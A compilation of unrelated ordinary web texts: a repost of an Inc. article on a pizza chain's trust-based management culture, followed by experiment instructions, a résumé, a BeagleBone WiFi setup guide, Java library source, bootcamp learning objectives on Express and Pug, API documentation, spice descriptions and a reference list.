--- layout: post title: Lessons From a Blue-Collar Millionaire date: 2010-02-01 13:33:30 -06:00 comments: true categories: posterous_id: 10935283 --- Interesting article about a Pizza place in my old stomping grounds. I didn't realize they were so successful.Time to get a Double Decker BBQ Chicken. YUM!
It's Takeout Tuesday at Nick's Pizza & Pub, and the air is thick with the smells of hot pizza crust, peppers, onions, and cheese. Eighteen young men and women -- most of them high school age -- form an assembly line between a row of worktables and a long bank of pizza ovens. The kids laugh and shout, even as they focus intently on their tasks.
 As the company's founder and CEO, he doesn't usually work the pizza line anymore. But he is happy to lend a hand when he can, and the kitchen crew needs all the help it can get on Tuesdays, thanks to a program Sarillo launched in March 2009 in response to the recession. A sign in the lobby explains the logic behind the policy:
Kane County unemployment 6.3% vs. 11.1% Sept. 2008 -- Sept. 2009 Â½ Price Monday and Takeout Tuesday are here to stay until the unemployment lines go away.
That is, customers pay half price for pizza in the dining room on Mondays and half price for carryout on Tuesdays. The effect has been to turn the two slowest days of the week into the two busiest. Indeed, the program proved so popular that it initially overwhelmed the kitchens. "Our promise is to have pizzas ready in 15 minutes with no mistakes," says Sarillo. "We had so many orders that the time got up to 25 minutes. Guests were getting upset. It was OK if I was here to orchestrate, but it got pretty bad if I wasn't."
So what did he do? "I built a system to replace me," Sarillo says. "I put together a checklist of things that had to be done by 4 p.m., so we could handle the volume. It took about four weeks until it could work without me. Now we're nailing it."
There are, according to the trade magazine Pizza Today, 70,000 to 75,000 pizza establishments in the United States. Nearly every town has at least one, and -- except for arguing over which makes the finest slices -- people seldom pay them much notice, let alone think of them as a potential source of business and management wisdom.
And then there's Nick's Pizza & Pub.
Its two restaurants in the northwest suburbs of Chicago have attracted visitors from far and wide who have heard about Sarillo's approach to management and the effect it has had on employees. The numbers tell the tale. In an industry in which annual employee turnover of 200 percent is considered normal, Sarillo's restaurants lose and replace just 20 percent of their staff members every year. Net operating profit in the industry averages 6.6 percent; Sarillo's runs about 14 percent and has gone as high as 18 percent. Meanwhile, the 14-year-old company does more volume on a per-unit basis (an average of $3.5 million over the past three years) than nearly all independent pizza restaurants. And customers, it seems, adore the service: On three occasions, waitresses have received tips of $1,000.
Sarillo grew up around pizza. His father, Nick Sr., owned a restaurant called Village Pizza in Carpentersville, Illinois, which he started when his son was in the eighth grade. When Sarillo opened his first restaurant, in Crystal Lake, in 1995 (the other opened in nearby Elgin in 2005), he patterned it after his father's, right down to the pizza recipe. In one key respect, however, he was determined to make it different. That difference -- and the secret of the company's success -- can be summed up in one word: culture.
Sarillo has built his company's culture by using a form of management best characterized as "trust and track." It involves educating employees about what it takes for the company to be successful, then trusting them to act accordingly. The alternative is command and control, wherein success is the boss's responsibility and employees do what the boss says. Think of the Navy SEALs versus the National Guard. Both approaches can work, but they produce very different cultures. If done right, moreover, trust and track can allow a company to be nimble, flexible, and productive enough to perform at the highest level through good economies and bad.
Sarillo is the first to admit that he is an unlikely spokesman for the benefits of a strong company culture. When he launched Nick's, he had never heard of company culture. A former construction worker, he got into the business, he says, because he had three young children and there was no restaurant in the area at which families could get together, kids could play, and parents could relax and have fun. He didn't have a management philosophy -- at least not one he could articulate. He did believe, however, that he had a choice about how the business would be run. "Everyone I knew who'd had a business told me, 'No one cares like an owner. No one works as hard as an owner,' " Sarillo says. "They said, 'Watch out. People are going to steal.' I set out to prove them wrong. I wanted a place where everyone worked hard and cared a lot; where people enjoyed coming to work, felt good afterward, and weren't motivated to steal. If I couldn't have that kind of business, I didn't want to have a business."
In the end, he built the kind of business he wanted by developing a unique management system. Not only is it strikingly effective, but it's a stark illustration of the notion that good ideas can spring from the most humble of sources. If you look closely, you can identify 10 key ingredients of Sarillo's recipe for building a company culture that delivers.
1. Feel your community's pain; share its joyHalf-Price Mondays and Takeout Tuesdays are symbols of Nick's ongoing commitment to the communities in which it operates. So was a decision in August 2008 to surprise the guests one Thursday evening by picking up the check, in recognition of the tough times many were facing. "It cost us $20,000," says Sarillo's partner, Christopher Adams, "but it created tremendous buzz."
It also reinforced the company's reputation as a community bulwark -- a reputation it has been assiduously building since Day One. The restaurants host fundraisers almost every week, with the company contributing 15 percent of the gross profit generated by the event. In addition, Nick's sponsors two or three large benefits a year, many of them for families facing high medical bills because of a health crisis. For the benefits, the company donates 100 percent of its gross profit for the day, and servers often kick in their tips. "I have never known them to turn away anyone with a legitimate charitable purpose," says Crystal Lake Mayor Aaron Shepley.
All of this has an ancillary benefit for the business. "It reminds our team members how incredibly different we are from any other place they know," says Adams.
2. Hire only A+ playersForty-one percent of the company's 182 employees are ages 16 to 18, almost all of them still in high school. The others include a large number of mothers, college students, and people whose main job is somewhere else. Such employees do not typically make for a stable work force. Yet people who work at Nick's seem to find the culture irresistible. "When I come here, I really don't feel like I'm coming to work," says server Aubrey Judson, 25. "My boyfriend doesn't understand it. I just like to be here." She works only on weekends, she adds, as she has a full-time job at an online advertising agency during the week.
Her job as a server was very likely the more difficult of the two to land. Just one of every 12 applicants to Nick's gets hired. "I was really surprised by the process," she says. "You get interviewed twice, and you take a personality test."
The explicit goal of the process is to hire only the best of the best -- A+ players, in the language of the company. People who inquire about a job receive a handout detailing the company's purpose and values. They are advised not to waste their time applying unless, after perusing the sheet, they think Nick's sounds like a place they would like to work. If they decide to move forward, they first have a talk with a manager. Nearly all of them are then invited to an interview. Twenty percent of those are invited to a second interview. Two managers are in each interview, and one sits in on both. In other words, candidates need four yes votes from three managers to receive an offer. Those who aren't selected get a thank-you note and a voucher for a free pizza.
Along the way, the applicants are scrutinized and tested. There is a lot of role playing, not to mention the occasional off-the-wall question. "They asked me, 'What are you doing to improve yourself physically, mentally, or spiritually?' " says Scott Jewitt, who had been a manager at Bennigan's, Lone Star Steakhouse, Boston Market, Panera Bread, and CiCi's Pizza before joining Nick's in the fall of 2008 and now is an operating partner. "I was speechless for a moment. It was so different from any interview experience I'd been through. And I'm not an amateur." Ninety-six percent of those hired stay at least a year.
3. Learn, grow, compensateGetting hired at Nick's is a ticket -- not just to a job, but to the company's training program, which is elaborate, rigorous, and ongoing. It begins with a two-day orientation, which includes more role playing and discussion of the company's purpose, values, and culture. That's followed by 101, a four-hour stint in the kitchen, where everybody goes through a basic pizza-making course. The new hires then separate into work groups and move on to 201, in which they are trained and certified in specific jobs. A pizza maker, for example, may take two to four weeks to reach the level of proficiency required for certification, after which she can make pizzas on her own. When she gets certified in two other jobs -- say, salads and sandwiches -- her wage goes from $8.25 to $9 per hour. After certification in six positions, it increases to $9.50 an hour, and she gets a red hat. (Up to then, she has been wearing a tan hat.) Certification in nine positions earns her a black hat and a raise to $11 an hour.
It's her choice, however, whether she goes for any certifications beyond 201. She can stay at one certification as long as she likes. Then again, she might want to go on to 301 and become a trainer, which offers a variety of benefits, including eligibility for profit sharing and preference in scheduling. To qualify, she must achieve mastery in her certifications -- that is, a top rating on a one-to-five scale -- and read the book Mastery: The Keys to Success and Long-Term Fulfillment, by George Leonard. She then takes a three-day course on communication and leadership. At the end of the course, she receives a Leadership 301 Passport with a checklist of 30 specific behaviors she is required to model or recognize someone else modeling. She has five weeks to complete the passport, which involves observing and describing two such incidents for each behavior and getting a member of the leadership team to sign off on it. Finally, she takes a train-the-trainer course. On completion, she becomes a trainer.
4. Systems are for building trustThis is not the sort of training curriculum you expect to find in a company doing just over $7 million a year in sales. Then again, the same could be said about all of Nick's systems -- from hiring to inventory management to the handling of workplace conflict. Pretty much everything that happens in the business has been thought through, defined, and taught, right down to the best method for greeting a customer.
Take the process of opening and closing the kitchen. In a typical restaurant, a supervisor is responsible for both, has a long checklist of things to be done, and tells everyone what to do. At Nick's, by contrast, the whole kitchen crew is responsible. To help people keep track of what needs to happen, there is a laminated "ops card" for each task involved. Each ops card is red at the top and green at the bottom and has its own slot in a converted timecard holder. In the morning, when staff members come in, the ops cards are in the slots with the red end showing. Whenever a task is completed, someone turns over the corresponding ops card so the green end is showing. By closing time, all the cards are showing green. It's then the manager's job to make sure they are all red again before people arrive the next morning.
The system is an important mechanism for creating a trust-and-track culture and for breaking the habits of command and control. "Managers trained in command and control think it's their responsibility to tell people what to do," Sarillo says. "They like having that power. It gives them their sense of self-worth. But when you manage that way, people see it, and they start waiting for you to tell them what to do. You wind up with too much on your plate, and things fall through the cracks. It's not efficient or effective. We want all the team members to feel responsible for the company's success."
Some people would no doubt find such a regime unbearable, but Nick's employees appear to thrive under it, especially the high school students. "Parents tell me, 'I don't know what you did to my kid, but whatever it is, keep doing it,' " says Sarillo.
What Sarillo has done, on one level, is simply to treat high school students -- and everyone else -- like intelligent, responsible, and, above all, trustworthy human beings. "All of our systems are geared toward creating a culture of trust," says Sarillo. "A lot of people would say trust is intangible. We've made it tangible by putting these systems in. They allow you to see whether the trust is there and whether the way people behave is promoting or undermining trust."
5. Coach in the moment, not after the factTo be sure, just about every company has systems of one sort or another. A common one is the annual performance review, which almost all management experts would say is essential for giving employees the feedback they need. But Sarillo doesn't believe in performance reviews. Rather, managers and employees are trained to coach in the moment, providing feedback immediately.
There are actually three forms of feedback at Nick's. The first is called a feedback loop and applies mainly to new employees. At the end of a shift, a trainer will ask, "What is one thing you did well, and -- if you could replay the tape -- what is one thing you would do to enhance your performance?" It's a two-way conversation, hence a loop.
The second form is called performance feedback and, again, usually comes at the end of a shift. After observing someone's performance, the manager or trainer will mention one thing the person did well and one thing he or she should try to improve.
The third form is direct feedback and happens in the moment. Suppose, for example, that Sarillo observes a host with her head down as a guest walks by. "With a smile on my face and in a nice way, I'd say, 'Eyes up, Rhonda. Remember, five steps with every guest.' " He is referring to another mechanism: Smile and greet a customer whenever you come within five steps of one.
As for deciding when to provide feedback, managers are taught that everything is an interview. "We do a lot of role playing in our job interviews," Sarillo says. "When you observe a behavior, the question is, Would you have hired that behavior? If yes, you can recognize it. If no, you can coach it. But either way, you should do it in the moment."
6. A consultant can be more helpful than you thinkSarillo says he first got the urge to expand to new locations in 2002, but he wasn't confident in his ability to do it without outside help. So he brought in an accountant and then a couple of consultants. "They all talked about control, control, control," Sarillo says. "I felt like I was on Mars. What I was doing was obviously working, but I didn't know anyone else who ran a business this way. I mean, I'm an ordinary guy. If I can do it, anybody can." Then he met a consultant named Rudy Miick. "He asked all the right questions," says Sarillo.
He decided to hire Miick, who didn't come cheap. Sarillo estimates that, in 2003 and 2004, he spent $200,000 preparing to expand, 80 percent of which went to pay for Miick's services. That's a lot of money for a business doing just over $3 million a year in sales. But Miick played a key role in helping the restaurants streamline their management systems, which helped reduce employee turnover from 185 percent to 20 percent. Given a cost of $1,500 to recruit, interview, and train a new employee, the drop in turnover alone saved almost $250,000 a year.
7. Turn negatives into positives by making talk safeSarillo uses a system called safe space, which allows employees and managers to have difficult conversations by following certain well-defined rules. One rule, for example, is that statements must be based on data, not feelings or speculation. Another rule is to identify "the moose in the room" -- that is, something many people are aware of but no one is talking about -- the goal being to nip gossip and rumors in the bud. Adams, for one, feels that safe space is "the most important way we create trust in the organization."
One team member recently used safe space to question Sarillo about a sarcastic remark he had made. Sarillo had intended it to be good-natured joshing, but it came across as pointed criticism. "I said, 'Holy cow! I didn't realize it,' and I apologized," Sarillo says. "It reminded me that sarcasm can be lethal when you're the boss. I have my share of imperfections, and I love it when team members call me out on them. It's not a threat if you have a culture based on trust. In fact, it proves that the trust is there."
8. "Why" is more important than "what" or "how"Sarillo likes to say he doesn't tell people what to do. Instead, he prefers to explain the situation and let them choose. Of course, giving people choices rather than orders requires trusting them to do the right thing. But it works the other way as well: They have to trust you enough to believe your explanation of the situation. That means making sure they understand why they are being asked to do whatever it is you want them to do.
Explaining the "why" is particularly important, Sarillo says, for young employees. "Today's teens are as strong and as good as any previous generation of workers, but you need to share the 'why' with them. The days of 'do what I tell you' are gone. You simply won't be successful."
That can present a challenge for managers accustomed to giving orders, as Sarillo discovered the hard way. In 2005, he and Adams set a goal of having five restaurants by the end of 2010. To achieve it, they realized they would need experienced general managers to run the restaurants they had. The three people they wound up hiring came out of established restaurant chains. On the surface, the managers embraced the company's purpose and values, as well as the systems that support them. Eventually, however, Sarillo decided he had to let all of them go. One tip-off was their inability to control costs.
As usual, the devil was in the details. Each Nick's Pizza & Pub has a just-in-time purchasing system, whereby food and beverage usage is tracked daily and orders are placed two or three times a week. A physical inventory is done once a week and then matched against the prior week's count, minus usage, plus purchases, to make sure the costs are under control. The goal is to keep beverage costs at about 22 percent of revenue and food costs at 20 percent.
But week after week, the costs ran too high, and physical inventory counts didn't jibe with usage and purchases. When Sarillo finally investigated the problem, he traced it to the managers' inability to let go of their old habits. "Their idea of leadership was telling people what to do," he says. "They had someone else put in the numbers, and when the numbers came out wrong, they didn't dig deeper to discover why. Because they didn't know the 'why,' they couldn't share it with the team members. When you know the 'why,' it's really easy to figure out what to do, but sharing that kind of information wasn't how they'd been trained to manage."
In the end, Sarillo turned over the responsibility for tracking costs at the Elgin restaurant to a 24-year-old woman named Jenny Petersen, who had begun working at Nick's when she was 16. She solved the problems in four weeks. She could do it, she says, because she cared about the 'why.' "I think it's a matter of personal drive and ambition," Petersen says. "You need the drive to ask questions and do the research. If our inventory numbers are off, there's got to be a reason. I like finding out what it is."
9. "Trust" without "track" is an invitation to troubleIn retrospect, Sarillo acknowledges that hiring those managers was one of his biggest mistakes in recent years. It became a big mistake, however, because he wasn't paying attention. For two years, he was totally focused on laying the groundwork for a new Nick's in Chicago, which was supposed to open in mid-2008. Only after that plan fell through did he turn his attention back to the existing restaurants. The company was in serious trouble, mainly because he had invested so much time, energy, and money -- about $300,000 -- in the Chicago project, but also because of slumping sales and out-of-control costs at Elgin and Crystal Lake.
From a distance, he attributed the problems to economic factors over which the company had no control. But as he looked more closely, he realized there was more to it. The cost-control issues were symptomatic of something deeper. The general managers weren't supporting the systems, and so the company's culture was beginning to change.
And yet Sarillo had to admit that the problems were ultimately his responsibility.  Results are results. You have to be real about how people are doing. I wasn't holding those managers accountable for their results and their behavior because I wasn't keeping close enough track of what they were doing."
10. Beware of growing before you -- and the company -- are readySarillo didn't keep track in part because he was mesmerized by growth. He had decided to expand into Chicago, in the belief that a Nick's there would provide visibility the company could never get in Crystal Lake and Elgin.
He was eventually forced to cancel the Chicago project, however, when he lost his bank financing in mid-2008. The turn of events appeared at first to be a disaster for the company. It turned out, however, to be a blessing. "Because we were not able to do Chicago, we wound up doing something more important: fixing the culture in Elgin and Crystal Lake," says Sarillo. "If we'd opened in Chicago, I wouldn't have had so many financial problems, but I would have had much, much bigger cultural problems. By the time I found out about them, it might have been too late."
In the process, he learned an important lesson about the type of management he will need in the future. "I've decided there are two ways to get the right person to run one of our restaurants," he says. "One, you can get a new manager like Jenny Petersen, who hasn't already developed bad habits somewhere else. Or, two, you can get a manager with experience in the industry who's completely fed up with the corporate way of doing things and thinking, I really need a change." That's the story with Scott Jewitt, the operating partner at Crystal Lake.
So is Sarillo still committed to opening other Nick's Pizza & Pubs? "Oh, yes, I feel more inspired to grow than ever," he says. "People really do want to have a meaningful place to work, and that is one thing I know how to do well. So how could I not want to keep doing it for more and more people? I mean, what could be a more fulfilling life?"
Bo Burlingham is an Inc. editor-at-large.


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You are now taking part in an economics experiment, financed by the UCSC LEEPS Lab. If you carefully read the following instructions, you can earn—depending on your decisions during the experiment—a considerable amount of money, which will, together with the show-up fee of ${{ Constants.participation_fee }}, be paid out to you in cash immediately after the experiment. It is very important to read these instructions very carefully.
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During the experiment, communication between participants is strictly forbidden. If you have questions, please ask us.
Before the first decision making period, you will choose a single charity from a list of charities. You cannot change your charity after you have chosen it.
At the beginning of each period, you will be endowed with ${{ Constants.endowment }} of real money. Your task each period is to decide how to spend your endowment under different scenarios. The scenarios will include:
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Lyris, Inc
time: 1 year, 11 months
role: Jr Software Engineer
duties: Design and maintain internal services for monitoring customer data. Set up scheduled tasks to retrieve data and store it in a datawarehouse, or send an email report with that information. Programmed in PHP, Javascript & AngularJS, Python and Java depending on the appropriate implementation. I wrote billing scripts for new products released by Lyris and rewrote old billing scripts to be more secure - by removing sensitive information from the file and putting it in a configuration, it then is OK to publish the code (with no sensitive data) on github, because you simply don't include the passwords file. Also created a Javascript frontend to perform CRUD operations on databases, to increase the efficiency of the Support and Deliverability Teams.
AirWorthiness Standards Institute
time: 6 months
role: Principle Developer
duties: Design and maintain a responsive, mobile friendly website which through a modern User Interface provides the ability to accept money and send the customer a ticket granting them access to attend Worldwide AirWorthiness Seminars. The Seminar Event hosts also had to have a system for their Guest list. I implemented external systems involving the entire web stack - in the back end configuring the payment processors, and in the front end provide a modern user interface, automatically seperates credit card input into groups of 4 digits, client-side validations. I also implemented Internal systems so that the owner of the company, who is in his 70s, could put his own events in without me, provide X,Y coordinates, a description, a title, a price, etc; and the html front end renders filling out whatever templates were submitted. when all he has to edit is a configuration file, he can add a new event in 10 minutes, with a fully interactive map and payment button and forms.


Installing USB WiFi Adapter on the BeagleBone Black
23 May 2014Unfortunately, BeagleBone Black doesn’t have a built in WiFi module, but there are a few USB WiFi adapters that can solve this problem.
UWN100 and UWN200
The best part about these two adapters is that the latest release of the BeagleBone Black, with a Debian image (2013-09-04 and up), already includes the drivers for these modules. Both are manufactured by Logic Supply. UWN200 has an SMA antenna for extra range, otherwise it is similar to UWN100.
Setting up
The manufacturer has a nice installation and troubleshooting guide on their website.
Before turning on your BeagleBone, connect it to the network via ethernet and plug in the USB adapter. Once the board boots up, SSH into it and run the following command to determine the adapter’s device name
iwlist scan
It will most likely be something like ra0
. To make sure the board connects to WiFi automatically on every restart you will need to edit the interfaces
file
nano /etc/network/interfaces
For a dynamic IP address include this
# The wifi network interface
auto ra0
iface ra0 inet dhcp
wpa-ssid "SSID"
wpa-psk "YOUR-WIFI-PASSWORD"
Alternatively, use this for a static IP
# The wifi network interface
auto ra0
iface ra0 inet static
address <IP_ADDRESS>
netmask <IP_ADDRESS>
network <IP_ADDRESS>
broadcast <IP_ADDRESS>
gateway <IP_ADDRESS>
dns-nameservers <IP_ADDRESS>, <IP_ADDRESS>, <IP_ADDRESS>
wpa-ssid "SSID"
wpa-psk "YOUR-WIFI-PASSWORD"
Make sure you unplug the ethernet cable and restart the board. Once it reboots your BeagleBone should automatically connect to your WiFi network.


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| 18 | package org.apache.commons.math3.linear; | |
| 19 | ||
| 20 | import org.apache.commons.math3.FieldElement; | |
| 21 | ||
| 22 | /** | |
| 23 | * Default implementation of the {@link FieldMatrixChangingVisitor} interface. | |
| 24 | * <p> | |
| 25 | * This class is a convenience to create custom visitors without defining all | |
| 26 | * methods. This class provides default implementations that do nothing. | |
| 27 | * </p> | |
| 28 | * | |
| 29 | * @param <T> the type of the field elements | |
| 30 | * @version $Id: DefaultFieldMatrixChangingVisitor.java 1416643 2012-12-03 19:37:14Z tn $ | |
| 31 | * @since 2.0 | |
| 32 | */ | |
| 33 | public class DefaultFieldMatrixChangingVisitor<T extends FieldElement<T>> | |
| 34 | implements FieldMatrixChangingVisitor<T> { | |
| 35 | /** Zero element of the field. */ | |
| 36 | private final T zero; | |
| 37 | ||
| 38 | /** Build a new instance. | |
| 39 | * @param zero additive identity of the field | |
| 40 | */ | |
| 41 | public DefaultFieldMatrixChangingVisitor(final T zero) { | |
| 42 | this.zero = zero; | |
| 43 | } | |
| 44 | ||
| 45 | /** {@inheritDoc} */ | |
| 46 | public void start(int rows, int columns, | |
| 47 | int startRow, int endRow, int startColumn, int endColumn) { | |
| 48 | } | |
| 49 | ||
| 50 | /** {@inheritDoc} */ | |
| 51 | public T visit(int row, int column, T value) { | |
| 52 | 1 | return value; |
| 53 | } | |
| 54 | ||
| 55 | /** {@inheritDoc} */ | |
| 56 | public T end() { | |
| 57 | 1 | return zero; |
| 58 | } | |
| 59 | } | |
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Regex, Express, and Full-Stack Development (Week 11) - Learning Objectives
Assessment Structure
- 2 hours, 45 minutes
- Mixture of multiple choice (5-10), and VSCode problems (20-30 specs).
- For the coding section, be comfortable with creating an express application from scratch. The projects from Thursday and Friday are good examples (on a smaller scale for an assessment environment).
- This includes connecting database material introduced last week, such as making your database, initializing sequelize, creating migrations and models, adding seeders for your models, etc.
- Be able to work within the express framework, creating the app, adding in middleware for csrf protection, urlencoded body parsing, etc., making route handlers to respond to various requests and pull in database information, etc.
- Be able to display that information to the user using Pug templates, including csrf-protected forms for post routes, iterating over database data to display content of records, etc.
- Standard assessment procedures
- You will be in an individual breakout room
- Use a single monitor and share your screen
- Only have open those resources needed to complete the assessment:
- Zoom
- VSCode
- Browser with AAO and Progress Tracker (to ask questions)
- Approved Resources for this assessment:
- Express Docs: http://expressjs.com/
- Pug Docs: http://pugjs.org/
- csurf Docs: https://github.com/expressjs/csurf#readme
- Sequelize Docs: https://sequelize.org/
- Sequelize “Cheatsheet"
Regular Expressions and Node HTTP (W11D1) - Learning Objectives
Regular Expressions
- Define the effect of the * operator and use it in a regular expression
- Define the effect of the ? operator and use it in a regular expression
- Define the effect of the + operator and use it in a regular expression
- Define the effect of the . operator and use it in a regular expression
- Define the effect of the ^ operator and use it in a regular expression
- Define the effect of the $ operator and use it in a regular expression
- Define the effect of the [] bracket expression and use it in a regular expression
- Define the effect of the - inside brackets and use it in a regular expression
- Define the effect of the ^ inside brackets and use it in a regular expression
Node HTTP (HTTP Full-Stack)
- Identify the five parts of a URL
- Identify at least three protocols handled by the browser
- Use an IncomingMessage object to
- access the headers sent by a client (like a Web browser) as part of the HTTP request
- access the HTTP method of the request
- access the path of the request
- access and read the stream of content for requests that have a body
- Use a ServerResponse object to
- write the status code, message, and headers for an HTTP response
- write the content of the body of the response
- properly end the response to indicate to the client (like a Web browser) that all content has been written
Express and Pug Templates (W11D2) - Learning Objectives
Express
- Send plain text responses for any HTTP request
- Use pattern matching to match HTTP request paths to route handlers
- Use the Pug template engine to generate HTML from Pug templates to send to the browser
- Pass data to Pug templates to generate dynamic content
- Use the
Router
class to modularize the definition of routes
Pug Templates
- Declare HTML tags and their associated ids, classes, attributes, and content
- Use conditional statements to determine whether or not to render a block
- Use interpolation to mix static text and dynamic values in content and attributes
- Use iteration to generate multiple blocks of HTML based on data provided to the template
- Describe the interaction between the client and server when an HTML form is loaded into the browser, the user submits it, and the server processes it
- Create an HTML form using the Pug template engine
- Use express to handle a form’s POST request
- Use the built-in
express.urlencoded()
middleware function to parse incoming request body form data
- Explain what data validation is and why it’s necessary for the server to validate incoming data
- Validate user-provided data from within an Express route handler function
- Write a custom middleware function that validates user-provided data
- Use the csurf middleware to embed a token value in forms to protect against Cross-Site Request Forgery exploits
Full-Stack (Data-Driven Web Sites) (W11D4) - Learning Objectives
Data-Driven Web Sites
- Use environment variables to specify configuration of or provide sensitive information for your code
- Use the
dotenv
npm package to load environment variables defined in an .env
file
- Recall that Express cannot process unhandled Promise rejections from within route handler (or middleware) functions
- Use a Promise
catch
block or a try
/catch
statement with async
/await
to properly handle errors thrown from within an asynchronous route handler (or middleware) function
- Write a wrapper function to simplify catching errors thrown within asynchronous route handler (or middleware) functions
- Use the
morgan
npm package to log requests to the terminal window to assist with auditing and debugging
- Add support for the Bootstrap front-end component library to a Pug layout template
- Install and configure Sequelize within an Express application.
- Use Sequelize to test the connection to a database before starting the HTTP server on application startup
- Define a collection of routes (and views) that perform CRUD operations against a single resource using Sequelize
- Handle Sequelize validation errors when users are attempting to create or update data and display error messages to the user so that they can resolve any data quality issues
- Describe how an Express.js error handler function differs from middleware and route handler functions
- Define a global Express.js error-handling function to catch and process unhandled errors
- Define a middleware function to handle requests for unknown routes by returning a 404 NOT FOUND error


megnet.callbacks module¶
-
class
GeneratorLog
(train_gen: Iterable, steps_per_train: int = None, val_gen: Iterable = None, steps_per_val: int = None, y_scaler: megnet.utils.preprocessing.Scaler = None, n_every: int = 5, val_names: List[str] = None, val_units: List[str] = None, is_pa: bool = False)[source]¶ Bases:
keras.callbacks.callbacks.Callback
This callback logger.info out the MAE for train_generator and validation_generator every n_every steps. The default keras training log does not contain method to rescale the results, thus is not physically intuitive.
- Parameters
train_gen – (generator), yield (x, y) pairs for training
steps_per_train – (int) number of generator steps per training epoch
val_gen – (generator), yield (x, y) pairs for validation.
steps_per_val – (int) number of generator steps per epoch for validation data
y_scaler – (object) y_scaler.inverse_transform is used to convert the predicted values to its original scale
n_every – (int) epoch interval for showing the log
val_names – (list of string) variable names
val_units – (list of string) variable units
is_pa – (bool) whether it is a per-atom quantity
-
class
ManualStop
[source]¶ Bases:
keras.callbacks.callbacks.Callback
Stop the training manually by putting a “STOP” file in the directory
-
class
ModelCheckpointMAE
(filepath: str = './callback/val_mae_{epoch:05d}_{val_mae:.6f}.hdf5', monitor: str = 'val_mae', verbose: int = 0, save_best_only: bool = True, save_weights_only: bool = False, val_gen: Iterable = None, steps_per_val: int = None, target_scaler: megnet.utils.preprocessing.Scaler = None, period: int = 1, mode: str = 'auto')[source]¶ Bases:
keras.callbacks.callbacks.Callback
Save the best MAE model
- Parameters
filepath – (string) path to save the model file with format. For example
`weights.{epoch –
02d}-{val_mae:.6f}.hdf5` will save the corresponding epoch and val_mae in the filename
monitor – (string) quantity to monitor, default to “val_mae”
verbose – (int) 0 for no training log, 1 for only epoch-level log and 2 for batch-level log
save_best_only – (bool) whether to save only the best model
save_weights_only – (bool) whether to save the weights only excluding model structure
val_gen – (generator) validation generator
steps_per_val – (int) steps per epoch for validation generator
target_scaler – (object) exposing inverse_transform method to scale the output
period – (int) number of epoch interval for this callback
mode – (string) choose from “min”, “max” or “auto”
-
on_epoch_end
(epoch: int, logs: Dict = None) → None[source]¶ Called at the end of an epoch.
Subclasses should override for any actions to run. This function should only be called during train mode.
- # Arguments
epoch: integer, index of epoch. logs: dict, metric results for this training epoch, and for the
validation epoch if validation is performed. Validation result keys are prefixed with val_.
-
class
ReduceLRUponNan
(filepath: str = './callback/val_mae_{epoch:05d}_{val_mae:.6f}.hdf5', factor: float = 0.5, verbose: int = 1, patience: int = 500, monitor: str = 'val_mae', mode: str = 'auto')[source]¶ Bases:
keras.callbacks.callbacks.Callback
This callback function solves a problem that when doing regression, an nan loss may occur, or the loss suddenly shoot up If such things happen, the model will reduce the learning rate and load the last best model during the training process. It has an extra function that patience for early stopping. This will move to indepedent callback in the future.
- Parameters
filepath – (str) filepath for saved model checkpoint, should be consistent with checkpoint callback
factor – (float) a value < 1 for scaling the learning rate
verbose – (int) whether to show the loading event
patience – (int) number of steps that the val mae does not change. It is a criteria for early stopping
track_metric – (string) the variable to track
-
on_epoch_end
(epoch: int, logs: Dict = None) → None[source]¶ Called at the end of an epoch.
Subclasses should override for any actions to run. This function should only be called during train mode.
- # Arguments
epoch: integer, index of epoch. logs: dict, metric results for this training epoch, and for the
validation epoch if validation is performed. Validation result keys are prefixed with val_.


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paprika is a usually mild red condiment consisting of the dried finely ground pods of various sweet peppers; also : a sweet pepper used for making paprika.
Cardamon or Cardamum, is a spice made from the seeds of several plants in the genera Elettaria and Amomum in the family Zingiberaceae. ... Cardamom is the world's third-most expensive spice, surpassed in price per weight only by vanilla and saffron.
The dry fruits are known as coriander seeds. The word "coriander" in food preparation may refer solely to these seeds (as a spice), rather than to the plant. The seeds have a lemony citrus flavour when crushed, due to the terpenes, linalool, pinene, and limonene, among others.
Cumin is the dried seed of the herb Cuminum cyminum, a member of the parsley family. The cumin plant grows to 30–50 cm (12–20 in) tall and is harvested by hand.
Curry powder is a generic term for spice mixes used to flavor Indian or Southeast Asian cuisine. Although there is no standard recipe, the main components are usually cumin, coriander, and turmeric. Other common ingredients include red or black pepper, mustard, ginger, clove, cardamom, bay leaf, and fenugreek.
Herbs can be perennials such as thyme or lavender, biennials such as parsley, or annuals like basil. Perennial herbs can be shrubs such as rosemary, Rosmarinus officinalis, or trees such as bay laurel, Laurus nobilis – this contrasts with botanical herbs, which by definition cannot be woody plants
Mint was originally used as a medicinal herb to treat stomach ache and chest pains, and it is commonly used in the form of tea as a home remedy to help alleviate stomach pain. · During the Middle Ages, dried and powdered mint leaves were used to whiten teeth. · Mint tea is a strong diuretic.
Finely ground mustard seeds make mustard powder.The powder is a mixture of brown and white seeds, with added saffron or tumeric for flavor and/or color. It is a popular ingredient since the flavor does not build or persist when used.
Mediterranean Oregano is the dried leaf of Origanum vulgare L., a perennial herb in the mint family. ... Oregano is the spice that gives pizza its characteristic flavor. It is also usually used in chili powder. Taste and Aroma.
Bahārāt is a spice mixture or blend used in Middle Eastern cuisine. ... The mixture of finely ground spices is often used to season lamb, fish, chicken, beef, and soups and may be used as a condiment.
Black pepper (Piper nigrum) is a flowering vine in the family Piperaceae, cultivated for its fruit, which is usually dried and used as a spice and seasoning. When dried, the fruit is known as a peppercorn. ... Black pepper is the world's most traded spice.


4. 参考文献¶
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M. P. Kumar, Benjamin Packer, and Daphne Koller. Self-paced learning for latent variable models. In J. D. Lafferty, C. K. I. Williams, J. Shawe-Taylor, R. S. Zemel, and A. Culotta, editors, Advances in Neural Information Processing Systems 23, pages 1189–1197. Curran Associates, Inc, 2010. URL: http://papers.nips.cc/paper/3923-self-paced-learning-for-latent-variable-models.pdf.
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Lu Jiang, Deyu Meng, Teruko Mitamura, and Alexander Hauptmann. Easy samples first: self-paced reranking for zero-example multimedia search. In MM 2014 - Proceedings of the 2014 ACM Conference on Multimedia. 11 2014. doi:10.1145/2647868.2654918.
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E. Sangineto, M. Nabi, D. Culibrk, and N. Sebe. Self paced deep learning for weakly supervised object detection. IEEE Transactions on Pattern Analysis and Machine Intelligence, 41(3):712–725, 2019. doi:10.1109/TPAMI.2018.2804907.
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J. S. Supancic III and D. Ramanan. Self-paced learning for long-term tracking. In 2013 IEEE Conference on Computer Vision and Pattern Recognition, 2379–2386. 2013. doi:10.1109/CVPR.2013.308.
